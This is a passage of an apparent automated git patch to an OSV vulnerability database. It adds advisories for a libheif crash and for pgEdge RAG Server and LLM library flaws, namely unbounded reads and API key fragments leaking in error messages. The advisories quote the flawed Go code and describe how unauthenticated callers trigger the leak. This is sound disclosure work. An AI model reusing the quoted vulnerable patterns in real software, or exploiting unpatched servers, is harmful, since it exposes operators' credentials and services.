From ccfb9c50cbd56653d7a3d40cfd54226ef418f355 Mon Sep 17 00:00:00 2001 From: Vulnerability Bot Date: Fri, 13 Nov 2026 01:44:14 +0100 Subject: [PATCH] vuln-osv update 2026-11-13T00:44:09Z --- data/Go/GHSA-22fx-6r9m-r8h9.json | 2 +- data/Go/GHSA-5qg5-rgp6-j5m5.json | 1 + data/Go/GHSA-68g8-gh8f-7rhg.json | 1 + data/Go/GHSA-8835-xmqj-354h.json | 1 + data/Go/GHSA-vq9p-w6wv-cr25.json | 1 + data/Go/GHSA-w437-9mwm-j6vq.json | 1 + data/Go/GHSA-w6c6-c85g-mmv6.json | 2 +- data/Maven/GHSA-78fc-9688-w8xw.json | 2 +- data/NuGet/GHSA-2f3w-v7f5-vpgx.json | 1 + data/NuGet/GHSA-4g86-54fm-h9h8.json | 1 + data/OSS-Fuzz/OSV-2021-1070.json | 2 +- data/OSS-Fuzz/OSV-2021-1086.json | 2 +- data/OSS-Fuzz/OSV-2021-1672.json | 2 +- data/OSS-Fuzz/OSV-2022-1134.json | 2 +- data/OSS-Fuzz/OSV-2022-1176.json | 2 +- data/OSS-Fuzz/OSV-2022-1198.json | 2 +- data/OSS-Fuzz/OSV-2022-1259.json | 2 +- data/OSS-Fuzz/OSV-2022-1277.json | 2 +- data/OSS-Fuzz/OSV-2022-372.json | 2 +- data/OSS-Fuzz/OSV-2022-379.json | 2 +- data/OSS-Fuzz/OSV-2022-388.json | 2 +- data/OSS-Fuzz/OSV-2022-400.json | 2 +- data/OSS-Fuzz/OSV-2022-608.json | 2 +- data/OSS-Fuzz/OSV-2022-653.json | 2 +- data/OSS-Fuzz/OSV-2022-714.json | 2 +- data/OSS-Fuzz/OSV-2022-725.json | 2 +- data/OSS-Fuzz/OSV-2022-867.json | 2 +- data/OSS-Fuzz/OSV-2023-1350.json | 2 +- data/OSS-Fuzz/OSV-2023-307.json | 2 +- data/OSS-Fuzz/OSV-2023-319.json | 2 +- data/OSS-Fuzz/OSV-2023-606.json | 2 +- data/OSS-Fuzz/OSV-2024-112.json | 2 +- data/OSS-Fuzz/OSV-2024-659.json | 2 +- data/OSS-Fuzz/OSV-2024-664.json | 2 +- data/OSS-Fuzz/OSV-2024-695.json | 2 +- data/OSS-Fuzz/OSV-2024-719.json | 2 +- data/OSS-Fuzz/OSV-2026-1512.json | 2 +- data/Packagist/GHSA-g6f8-c3x9-jv7f.json | 1 + data/Packagist/GHSA-h24v-f482-8cwf.json | 1 + data/PyPI/GHSA-wqgw-9xfh-qf2g.json | 1 + data/PyPI/GHSA-xcvg-w56q-r89m.json | 1 + data/PyPI/MAL-2026-19179.json | 1 + data/PyPI/MAL-2026-19180.json | 1 + data/PyPI/MAL-2026-19181.json | 1 + data/PyPI/MAL-2026-19182.json | 1 + data/PyPI/MAL-2026-19183.json | 1 + data/PyPI/MAL-2026-19184.json | 1 + data/PyPI/MAL-2026-19185.json | 1 + data/PyPI/MAL-2026-19186.json | 1 + data/PyPI/MAL-2026-19187.json | 1 + data/PyPI/MAL-2026-19188.json | 1 + data/PyPI/MAL-2026-19189.json | 1 + data/PyPI/MAL-2026-19190.json | 1 + data/PyPI/MAL-2026-19191.json | 1 + data/PyPI/MAL-2026-19192.json | 1 + data/PyPI/MAL-2026-19193.json | 1 + data/PyPI/MAL-2026-19199.json | 1 + data/PyPI/MAL-2026-19202.json | 1 + data/PyPI/PYSEC-2025-102.json | 2 +- data/RubyGems/GHSA-2p2f-4rq4-gjwc.json | 1 + data/RubyGems/GHSA-345x-3rq2-jfrm.json | 1 + data/RubyGems/GHSA-3f4q-8x5m-76v8.json | 1 + data/RubyGems/GHSA-3w93-6hmw-whh4.json | 1 + data/RubyGems/GHSA-539f-xcgw-2gjg.json | 1 + data/RubyGems/GHSA-68p9-83h6-5wpj.json | 1 + data/RubyGems/GHSA-73v3-wf97-vpgj.json | 1 + data/RubyGems/GHSA-8gmh-2hhj-2hv9.json | 1 + data/RubyGems/GHSA-9crm-g4mf-wc5j.json | 1 + data/RubyGems/GHSA-9f42-57jx-vpp3.json | 1 + data/RubyGems/GHSA-f3w6-w445-fwh9.json | 1 + data/RubyGems/GHSA-h6v6-rg66-fqj4.json | 1 + data/RubyGems/GHSA-j82w-28jv-3pmj.json | 1 + data/RubyGems/GHSA-jcff-cj73-4w4f.json | 1 + data/RubyGems/GHSA-m3x9-938q-5767.json | 1 + data/RubyGems/GHSA-mf2j-8f84-cc9q.json | 1 + data/RubyGems/GHSA-p9wj-w8xq-vjx6.json | 1 + data/RubyGems/GHSA-qq38-m9mg-xjj5.json | 1 + data/RubyGems/GHSA-rq8q-p985-fjq7.json | 1 + data/RubyGems/GHSA-rwvh-fw6r-pwvp.json | 1 + data/RubyGems/GHSA-v6rj-xm57-3p59.json | 1 + data/RubyGems/GHSA-wgv4-95jc-33jm.json | 1 + data/RubyGems/GHSA-wm3x-v3qw-4jh3.json | 1 + data/RubyGems/GHSA-x6mj-8jx9-qhqv.json | 1 + data/RubyGems/MAL-2026-19156.json | 1 + data/RubyGems/MAL-2026-19157.json | 1 + data/RubyGems/MAL-2026-19177.json | 1 + data/crates.io/GHSA-5j98-2g5x-46v6.json | 2 +- data/crates.io/GHSA-6w6g-hm98-mhgm.json | 2 +- data/crates.io/MAL-2026-19200.json | 1 + data/crates.io/MAL-2026-19201.json | 1 + data/crates.io/RUSTSEC-2026-0504.json | 1 + data/crates.io/RUSTSEC-2026-0505.json | 1 + data/crates.io/RUSTSEC-2026-0506.json | 1 + data/crates.io/RUSTSEC-2026-0507.json | 1 + data/crates.io/RUSTSEC-2026-0508.json | 1 + data/crates.io/RUSTSEC-2026-0509.json | 1 + data/crates.io/RUSTSEC-2026-0510.json | 1 + data/crates.io/RUSTSEC-2026-0511.json | 1 + data/crates.io/RUSTSEC-2026-0512.json | 1 + data/crates.io/RUSTSEC-2026-0513.json | 1 + data/crates.io/RUSTSEC-2026-0514.json | 1 + data/crates.io/RUSTSEC-2026-0515.json | 1 + data/crates.io/RUSTSEC-2026-0516.json | 1 + data/crates.io/RUSTSEC-2026-0517.json | 1 + data/crates.io/RUSTSEC-2026-0518.json | 1 + data/crates.io/RUSTSEC-2026-0519.json | 1 + data/crates.io/RUSTSEC-2026-0520.json | 1 + data/crates.io/RUSTSEC-2026-0521.json | 1 + data/crates.io/RUSTSEC-2026-0522.json | 1 + data/npm/GHSA-3gg2-335m-rxc6.json | 1 + data/npm/GHSA-46wx-v44x-9hh2.json | 1 + data/npm/GHSA-4h7h-rv7c-7m2v.json | 1 + data/npm/GHSA-4m76-xfj5-7975.json | 1 + data/npm/GHSA-5pm8-86m8-9m6r.json | 1 + data/npm/GHSA-7m8x-x364-m26j.json | 1 + data/npm/GHSA-f4j9-crrj-867q.json | 1 + data/npm/GHSA-gg5j-6742-v827.json | 1 + data/npm/GHSA-h7mg-cq63-vhpq.json | 1 + data/npm/GHSA-jmv2-qgxf-f995.json | 1 + data/npm/GHSA-jpvv-r467-5p4w.json | 1 + data/npm/GHSA-qv5m-9pm6-hqp3.json | 1 + data/npm/GHSA-r4jh-29pc-gfqr.json | 1 + data/npm/GHSA-r7hq-q2xm-6c5m.json | 1 + data/npm/MAL-2026-13748.json | 2 +- data/npm/MAL-2026-13749.json | 2 +- data/npm/MAL-2026-13750.json | 2 +- data/npm/MAL-2026-16262.json | 2 +- data/npm/MAL-2026-17418.json | 2 +- data/npm/MAL-2026-18953.json | 2 +- data/npm/MAL-2026-18967.json | 2 +- data/npm/MAL-2026-18968.json | 2 +- data/npm/MAL-2026-19095.json | 2 +- data/npm/MAL-2026-19118.json | 2 +- data/npm/MAL-2026-19153.json | 2 +- data/npm/MAL-2026-19154.json | 1 + data/npm/MAL-2026-19155.json | 1 + data/npm/MAL-2026-19158.json | 1 + data/npm/MAL-2026-19159.json | 1 + data/npm/MAL-2026-19160.json | 1 + data/npm/MAL-2026-19161.json | 1 + data/npm/MAL-2026-19162.json | 1 + data/npm/MAL-2026-19163.json | 1 + data/npm/MAL-2026-19164.json | 1 + data/npm/MAL-2026-19165.json | 1 + data/npm/MAL-2026-19166.json | 1 + data/npm/MAL-2026-19167.json | 1 + data/npm/MAL-2026-19168.json | 1 + data/npm/MAL-2026-19169.json | 1 + data/npm/MAL-2026-19170.json | 1 + data/npm/MAL-2026-19171.json | 1 + data/npm/MAL-2026-19172.json | 1 + data/npm/MAL-2026-19173.json | 1 + data/npm/MAL-2026-19174.json | 1 + data/npm/MAL-2026-19175.json | 1 + data/npm/MAL-2026-19176.json | 1 + data/npm/MAL-2026-19178.json | 1 + data/npm/MAL-2026-19194.json | 1 + data/npm/MAL-2026-19195.json | 1 + data/npm/MAL-2026-19196.json | 1 + data/npm/MAL-2026-19197.json | 1 + data/npm/MAL-2026-19198.json | 1 + data/npm/MAL-2026-23.json | 2 +- data/npm/MAL-2026-4372.json | 2 +- data/npm/MAL-2026-4373.json | 2 +- data/npm/MAL-2026-4623.json | 2 +- data/npm/MAL-2026-5644.json | 2 +- state/sync.json | 68 ++++++++++++------------- 167 files changed, 200 insertions(+), 83 deletions(-) create mode 100644 data/Go/GHSA-5qg5-rgp6-j5m5.json create mode 100644 data/Go/GHSA-68g8-gh8f-7rhg.json create mode 100644 data/Go/GHSA-8835-xmqj-354h.json create mode 100644 data/Go/GHSA-vq9p-w6wv-cr25.json create mode 100644 data/Go/GHSA-w437-9mwm-j6vq.json create mode 100644 data/NuGet/GHSA-2f3w-v7f5-vpgx.json create mode 100644 data/NuGet/GHSA-4g86-54fm-h9h8.json create mode 100644 data/Packagist/GHSA-g6f8-c3x9-jv7f.json create mode 100644 data/Packagist/GHSA-h24v-f482-8cwf.json create mode 100644 data/PyPI/GHSA-wqgw-9xfh-qf2g.json create mode 100644 data/PyPI/GHSA-xcvg-w56q-r89m.json create mode 100644 data/PyPI/MAL-2026-19179.json create mode 100644 data/PyPI/MAL-2026-19180.json create mode 100644 data/PyPI/MAL-2026-19181.json create mode 100644 data/PyPI/MAL-2026-19182.json create mode 100644 data/PyPI/MAL-2026-19183.json create mode 100644 data/PyPI/MAL-2026-19184.json create mode 100644 data/PyPI/MAL-2026-19185.json create mode 100644 data/PyPI/MAL-2026-19186.json create mode 100644 data/PyPI/MAL-2026-19187.json create mode 100644 data/PyPI/MAL-2026-19188.json create mode 100644 data/PyPI/MAL-2026-19189.json create mode 100644 data/PyPI/MAL-2026-19190.json create mode 100644 data/PyPI/MAL-2026-19191.json create mode 100644 data/PyPI/MAL-2026-19192.json create mode 100644 data/PyPI/MAL-2026-19193.json create mode 100644 data/PyPI/MAL-2026-19199.json create mode 100644 data/PyPI/MAL-2026-19202.json create mode 100644 data/RubyGems/GHSA-2p2f-4rq4-gjwc.json create mode 100644 data/RubyGems/GHSA-345x-3rq2-jfrm.json create mode 100644 data/RubyGems/GHSA-3f4q-8x5m-76v8.json create mode 100644 data/RubyGems/GHSA-3w93-6hmw-whh4.json create mode 100644 data/RubyGems/GHSA-539f-xcgw-2gjg.json create mode 100644 data/RubyGems/GHSA-68p9-83h6-5wpj.json create mode 100644 data/RubyGems/GHSA-73v3-wf97-vpgj.json create mode 100644 data/RubyGems/GHSA-8gmh-2hhj-2hv9.json create mode 100644 data/RubyGems/GHSA-9crm-g4mf-wc5j.json create mode 100644 data/RubyGems/GHSA-9f42-57jx-vpp3.json create mode 100644 data/RubyGems/GHSA-f3w6-w445-fwh9.json create mode 100644 data/RubyGems/GHSA-h6v6-rg66-fqj4.json create mode 100644 data/RubyGems/GHSA-j82w-28jv-3pmj.json create mode 100644 data/RubyGems/GHSA-jcff-cj73-4w4f.json create mode 100644 data/RubyGems/GHSA-m3x9-938q-5767.json create mode 100644 data/RubyGems/GHSA-mf2j-8f84-cc9q.json create mode 100644 data/RubyGems/GHSA-p9wj-w8xq-vjx6.json create mode 100644 data/RubyGems/GHSA-qq38-m9mg-xjj5.json create mode 100644 data/RubyGems/GHSA-rq8q-p985-fjq7.json create mode 100644 data/RubyGems/GHSA-rwvh-fw6r-pwvp.json create mode 100644 data/RubyGems/GHSA-v6rj-xm57-3p59.json create mode 100644 data/RubyGems/GHSA-wgv4-95jc-33jm.json create mode 100644 data/RubyGems/GHSA-wm3x-v3qw-4jh3.json create mode 100644 data/RubyGems/GHSA-x6mj-8jx9-qhqv.json create mode 100644 data/RubyGems/MAL-2026-19156.json create mode 100644 data/RubyGems/MAL-2026-19157.json create mode 100644 data/RubyGems/MAL-2026-19177.json create mode 100644 data/crates.io/MAL-2026-19200.json create mode 100644 data/crates.io/MAL-2026-19201.json create mode 100644 data/crates.io/RUSTSEC-2026-0504.json create mode 100644 data/crates.io/RUSTSEC-2026-0505.json create mode 100644 data/crates.io/RUSTSEC-2026-0506.json create mode 100644 data/crates.io/RUSTSEC-2026-0507.json create mode 100644 data/crates.io/RUSTSEC-2026-0508.json create mode 100644 data/crates.io/RUSTSEC-2026-0509.json create mode 100644 data/crates.io/RUSTSEC-2026-0510.json create mode 100644 data/crates.io/RUSTSEC-2026-0511.json create mode 100644 data/crates.io/RUSTSEC-2026-0512.json create mode 100644 data/crates.io/RUSTSEC-2026-0513.json create mode 100644 data/crates.io/RUSTSEC-2026-0514.json create mode 100644 data/crates.io/RUSTSEC-2026-0515.json create mode 100644 data/crates.io/RUSTSEC-2026-0516.json create mode 100644 data/crates.io/RUSTSEC-2026-0517.json create mode 100644 data/crates.io/RUSTSEC-2026-0518.json create mode 100644 data/crates.io/RUSTSEC-2026-0519.json create mode 100644 data/crates.io/RUSTSEC-2026-0520.json create mode 100644 data/crates.io/RUSTSEC-2026-0521.json create mode 100644 data/crates.io/RUSTSEC-2026-0522.json create mode 100644 data/npm/GHSA-3gg2-335m-rxc6.json create mode 100644 data/npm/GHSA-46wx-v44x-9hh2.json create mode 100644 data/npm/GHSA-4h7h-rv7c-7m2v.json create mode 100644 data/npm/GHSA-4m76-xfj5-7975.json create mode 100644 data/npm/GHSA-5pm8-86m8-9m6r.json create mode 100644 data/npm/GHSA-7m8x-x364-m26j.json create mode 100644 data/npm/GHSA-f4j9-crrj-867q.json create mode 100644 data/npm/GHSA-gg5j-6742-v827.json create mode 100644 data/npm/GHSA-h7mg-cq63-vhpq.json create mode 100644 data/npm/GHSA-jmv2-qgxf-f995.json create mode 100644 data/npm/GHSA-jpvv-r467-5p4w.json create mode 100644 data/npm/GHSA-qv5m-9pm6-hqp3.json create mode 100644 data/npm/GHSA-r4jh-29pc-gfqr.json create mode 100644 data/npm/GHSA-r7hq-q2xm-6c5m.json create mode 100644 data/npm/MAL-2026-19154.json create mode 100644 data/npm/MAL-2026-19155.json create mode 100644 data/npm/MAL-2026-19158.json create mode 100644 data/npm/MAL-2026-19159.json create mode 100644 data/npm/MAL-2026-19160.json create mode 100644 data/npm/MAL-2026-19161.json create mode 100644 data/npm/MAL-2026-19162.json create mode 100644 data/npm/MAL-2026-19163.json create mode 100644 data/npm/MAL-2026-19164.json create mode 100644 data/npm/MAL-2026-19165.json create mode 100644 data/npm/MAL-2026-19166.json create mode 100644 data/npm/MAL-2026-19167.json create mode 100644 data/npm/MAL-2026-19168.json create mode 100644 data/npm/MAL-2026-19169.json create mode 100644 data/npm/MAL-2026-19170.json create mode 100644 data/npm/MAL-2026-19171.json create mode 100644 data/npm/MAL-2026-19172.json create mode 100644 data/npm/MAL-2026-19173.json create mode 100644 data/npm/MAL-2026-19174.json create mode 100644 data/npm/MAL-2026-19175.json create mode 100644 data/npm/MAL-2026-19176.json create mode 100644 data/npm/MAL-2026-19178.json create mode 100644 data/npm/MAL-2026-19194.json create mode 100644 data/npm/MAL-2026-19195.json create mode 100644 data/npm/MAL-2026-19196.json create mode 100644 data/npm/MAL-2026-19197.json create mode 100644 data/npm/MAL-2026-19198.json diff --git a/data/Go/GHSA-22fx-6r9m-r8h9.json b/data/Go/GHSA-22fx-6r9m-r8h9.json index 53aca7da7c..88949c388a 100644 --- a/data/Go/GHSA-22fx-6r9m-r8h9.json +++ b/data/Go/GHSA-22fx-6r9m-r8h9.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-22fx-6r9m-r8h9","published":"2023-05-05T18:30:17Z","modified":"2025-01-29T22:00:08Z","aliases":["CVE-2023-29659"],"summary":"libheif vulnerable to segmentation fault via floating point exception","details":"A Segmentation fault caused by a floating point exception exists in libheif 1.15.1 using crafted heif images via the heif::Fraction::round() function in box.cc, which causes a denial of service.","affected":[{"package":{"name":"github.com/strukturag/libheif","ecosystem":"Go","purl":"pkg:golang/github.com/strukturag/libheif"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/05/GHSA-22fx-6r9m-r8h9/GHSA-22fx-6r9m-r8h9.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-29659"},{"type":"WEB","url":"https://github.com/strukturag/libheif/issues/794"},{"type":"WEB","url":"https://github.com/strukturag/libheif/commit/e05e15b57a38ec411cb9acb38512a1c36ff62991"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CKAE6NQBA3Q7GS6VTNDZRZZZVPPEFUEZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LGKHDCS4HRZE3UGXYYDYPTIPNIBRLQ5L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CKAE6NQBA3Q7GS6VTNDZRZZZVPPEFUEZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LGKHDCS4HRZE3UGXYYDYPTIPNIBRLQ5L"},{"type":"PACKAGE","url":"github.com/strukturag/libheif"}],"database_specific":{"cwe_ids":["CWE-369"],"github_reviewed":true,"github_reviewed_at":"2023-06-02T21:18:04Z","nvd_published_at":"2023-05-05T16:15:09Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.2","id":"GHSA-22fx-6r9m-r8h9","published":"2023-05-05T18:30:17Z","modified":"2026-11-12T22:45:03.578496051Z","aliases":["CVE-2023-29659"],"summary":"libheif vulnerable to segmentation fault via floating point exception","details":"A Segmentation fault caused by a floating point exception exists in libheif 1.15.1 using crafted heif images via the heif::Fraction::round() function in box.cc, which causes a denial of service.","affected":[{"package":{"name":"github.com/strukturag/libheif","ecosystem":"Go","purl":"pkg:golang/github.com/strukturag/libheif"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.15.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/05/GHSA-22fx-6r9m-r8h9/GHSA-22fx-6r9m-r8h9.json"}}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-29659"},{"type":"WEB","url":"https://github.com/strukturag/libheif/issues/794"},{"type":"WEB","url":"https://github.com/strukturag/libheif/commit/e05e15b57a38ec411cb9acb38512a1c36ff62991"},{"type":"PACKAGE","url":"https://github.com/strukturag/libheif"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CKAE6NQBA3Q7GS6VTNDZRZZZVPPEFUEZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LGKHDCS4HRZE3UGXYYDYPTIPNIBRLQ5L"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CKAE6NQBA3Q7GS6VTNDZRZZZVPPEFUEZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LGKHDCS4HRZE3UGXYYDYPTIPNIBRLQ5L"}],"database_specific":{"cwe_ids":["CWE-369"],"github_reviewed":true,"github_reviewed_at":"2023-06-02T21:18:04Z","nvd_published_at":"2023-05-05T16:15:09Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/Go/GHSA-5qg5-rgp6-j5m5.json b/data/Go/GHSA-5qg5-rgp6-j5m5.json new file mode 100644 index 0000000000..444fde16a9 --- /dev/null +++ b/data/Go/GHSA-5qg5-rgp6-j5m5.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-5qg5-rgp6-j5m5","published":"2026-11-12T20:37:38Z","modified":"2026-11-12T20:45:03.505205185Z","aliases":["CVE-2026-125327"],"summary":"pgEdge RAG Server unbounded corpus read allows resource exhaustion from unauthenticated requests","details":"### Impact\n\nAn unauthenticated caller able to reach the query endpoint could exhaust database and server resources with ordinary, inexpensive requests.\n\nThe keyword-search arm read the entire corpus on every request and rebuilt an in-memory BM25 index from it, so the cost of serving a query scaled with the size of the source table rather than with the size of the result set. Each request cost the server and the tenant's database far more than it cost the caller to make, which makes this a materially more effective denial-of-service lever than flooding the endpoint with ordinary requests. The amplification factor grows with corpus size, so the largest deployments are the most exposed.\n\nHybrid search was enabled by default and configured per pipeline rather than per request, so a caller could not opt out of the keyword arm and an operator could not leave it available to some requests but not others.\n\n**Who is affected:** any deployment of pgEdge RAG Server at `1.0.0` or earlier, including all alpha and beta pre-releases, whose query endpoint is reachable by an untrusted party. The endpoint required no authentication and applied no rate limiting.\n\nIn `1.0.0`, `internal/database/search.go:130` built the corpus query with no `LIMIT`:\n\n```go\nquery = fmt.Sprintf(`\n SELECT ...\n FROM %s%s`,\n tableIdent,\n filterClause)\n```\n\n`FetchDocuments` accepted no limit parameter at all, so neither a caller nor the orchestrator had any way to bound the read.\n`internal/config/loader.go:197` defaulted `HybridEnabled` to true, and `internal/server/middleware.go:37` applied only logging, panic recovery and optional CORS.\n\n### Patches\n\n**Fixed in `2.0.0`. Upgrade to `2.0.0` or later.**\n\nReads are capped by a new per-pipeline `search.bm25_max_documents`, defaulting to 10000, plumbed through `SearchBackend.FetchDocuments` and applied as a parameterised `LIMIT`. There is deliberately no unlimited value: a non-positive setting is rejected at configuration load time rather than silently treated as unbounded.\n\nRequests that reach the cap are logged, because keyword recall is partial at that point and an operator should not have to infer it. A new `disable_hybrid` request field lets a caller skip the expensive arm per query, and can only ever turn it off.\n\n**After upgrading, review the default `search.bm25_max_documents` value of 10000 against the size of your corpus.** A cap far below corpus size silently reduces keyword recall.\n\n### Workarounds\n\nPlace the server behind an authenticating, rate-limiting reverse proxy.\n\nSetting `hybrid_enabled: false` on each pipeline removes the keyword arm and with it the unbounded read, at the cost of keyword recall. This is the only mitigation available without a proxy.\n\nNeither is a substitute for upgrading.","affected":[{"package":{"name":"github.com/pgEdge/pgedge-rag-server","ecosystem":"Go","purl":"pkg:golang/github.com/pgEdge/pgedge-rag-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1-0.20260729020411-a09d4872356b"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-5qg5-rgp6-j5m5/GHSA-5qg5-rgp6-j5m5.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/security/advisories/GHSA-5qg5-rgp6-j5m5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125327"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/pull/44"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/commit/a09d4872356b510c81f11591845445c33ff45a84"},{"type":"PACKAGE","url":"https://github.com/pgEdge/pgedge-rag-server"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/releases/tag/v2.0.0"}],"database_specific":{"cwe_ids":["CWE-405","CWE-770"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T20:37:38Z","nvd_published_at":"2026-11-10T19:21:09Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/Go/GHSA-68g8-gh8f-7rhg.json b/data/Go/GHSA-68g8-gh8f-7rhg.json new file mode 100644 index 0000000000..cf4d8d703a --- /dev/null +++ b/data/Go/GHSA-68g8-gh8f-7rhg.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-68g8-gh8f-7rhg","published":"2026-11-12T20:29:32Z","modified":"2026-11-12T20:45:03.499008369Z","aliases":["CVE-2026-125326"],"summary":"pgEdge RAG Server discloses part of the configured provider credential through API error messages","details":"### Impact\n\nAn unauthenticated remote caller could read part of the operator's configured LLM provider API key.\n\nThe query API relayed the text of a provider error straight to the caller. That text carried the upstream provider's own message, and providers characteristically quote a partially masked form of the credential they rejected when authentication fails — so a failing provider call published a fragment of the operator's key. A caller who can reach the endpoint can cause such a failure and read the result.\n\n**Who is affected:** any deployment of pgEdge RAG Server at `1.0.0` or earlier, including all alpha and beta pre-releases, whose query endpoint was reachable by an untrusted party. The endpoint carries no authentication in the affected versions.\n\nThe disclosed material authenticates to a **third-party provider account** rather than to pgEdge software, which is why the severity carries Scope: Changed.\n\n`v1.0.0:internal/server/handlers.go:121` relayed `err.Error()` to the client when pipeline execution failed. `parseError` in\n`v1.0.0:internal/llm/openai/client.go` produced that error by two routes, and both disclose:\n\n```go\nvar errResp ErrorResponse\nif err := json.Unmarshal(body, &errResp); err != nil {\n return fmt.Errorf(\"API error (status %d): %s\", resp.StatusCode, string(body))\n}\nreturn fmt.Errorf(\"API error (status %d): %s\", resp.StatusCode, errResp.Error.Message)\n```\n\nThe first branch interpolates the entire unparsed response body. The second returns the provider's own message, which for OpenAI quotes the `sk-proj-` prefix and the final four characters of the submitted key.\n\n### Patches\n\n**Fixed in `2.0.0`. Upgrade to `2.0.0` or later.**\n\nThe fix adds `internal/safeerr` and stops provider error text reaching API clients.\n\n**Upgrading does not undo the disclosure, and this needs action beyond upgrading. Rotate any LLM provider credential that was configured on an affected version while the endpoint was reachable by an untrusted caller**, particularly if that provider was rejecting the key at the time. A fragment already disclosed stays disclosed.\n\n### Workarounds\n\nPlace the server behind a proxy that rewrites 5xx response bodies, or terminate provider errors before they reach the API surface. Keeping provider credentials valid, so that no authentication failure is produced, also avoids the disclosure in practice.\n\nNone of these removes the underlying defect, and none is a substitute for upgrading.","affected":[{"package":{"name":"github.com/pgEdge/pgedge-rag-server","ecosystem":"Go","purl":"pkg:golang/github.com/pgEdge/pgedge-rag-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.0.1-0.20260729022402-72e0785a6d7c"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-68g8-gh8f-7rhg/GHSA-68g8-gh8f-7rhg.json"}}],"references":[{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/security/advisories/GHSA-68g8-gh8f-7rhg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-125326"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/pull/45"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/commit/72e0785a6d7cc9e35ad67d570bc9fddeaa4b2f61"},{"type":"PACKAGE","url":"https://github.com/pgEdge/pgedge-rag-server"},{"type":"WEB","url":"https://github.com/pgEdge/pgedge-rag-server/releases/tag/v2.0.0"}],"database_specific":{"cwe_ids":["CWE-209","CWE-522"],"github_reviewed":true,"github_reviewed_at":"2026-11-12T20:29:32Z","nvd_published_at":"2026-11-10T18:17:34Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"}]} \ No newline at end of file diff --git a/data/Go/GHSA-8835-xmqj-354h.json b/data/Go/GHSA-8835-xmqj-354h.json new file mode 100644 index 0000000000..0aadd2e967 --- /dev/null +++ b/data/Go/GHSA-8835-xmqj-354h.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-8835-xmqj-354h","published":"2026-11-12T19:32:36Z","modified":"2026-11-12T19:45:03.182304314Z","aliases":["CVE-2026-125328"],"summary":"pgEdge Go LLM Library discloses provider API key fragments in error messages","details":"### Impact\n\nAn unauthenticated caller could read part of the operator's configured LLM provider API key.\n\nThe library's own health handler pings every configured provider using the operator's real credential and returns the resulting error text verbatim. Providers characteristically quote a partially masked form of the credential they rejected, so a failing ping published a fragment of\nthe key.\n\n**The endpoint is unauthenticated by default.** `authorize()` returns\ntrue immediately when the consuming application sets no `Authorize` hook,\nso `GET /v1/health` is reachable by anyone who can reach the listening\nport unless the consumer opted in to authentication.\n\n**Who is affected:** any application embedding pgedge-go-llm-lib at\n`0.1.0` or `0.1.1` that exposes the bundled HTTP proxy without setting an\n`Authorize` hook. Both affected versions are released tags and resolve\nthrough the public Go module proxy.\n\nThe disclosed material authenticates to a **third-party provider\naccount** rather than to pgEdge software, which is why the severity\ncarries Scope: Changed.\n\nEvidence at `v0.1.1`: `llm/proxy/handlers.go:296` (`handleHealth`\nreturning `err.Error()` in `ProviderHealth.Error`), `llm/proxy/proxy.go:247`\n(`authorize()` defaulting to permit), and `llm/proxy/proxy.go:350`\n(`writeError` writing the error with no redaction).\n\n### Patches\n\n**Fixed in `0.2.0`. Upgrade to `0.2.0` or later**, which redacts\ncredentials from provider error messages unconditionally. The fix adds\n`llm/internal/redact`, with a follow-up anchoring word boundaries, and is\npinned by tests in that package.\n\n**Note the version.** There is no `0.1.2` — it was 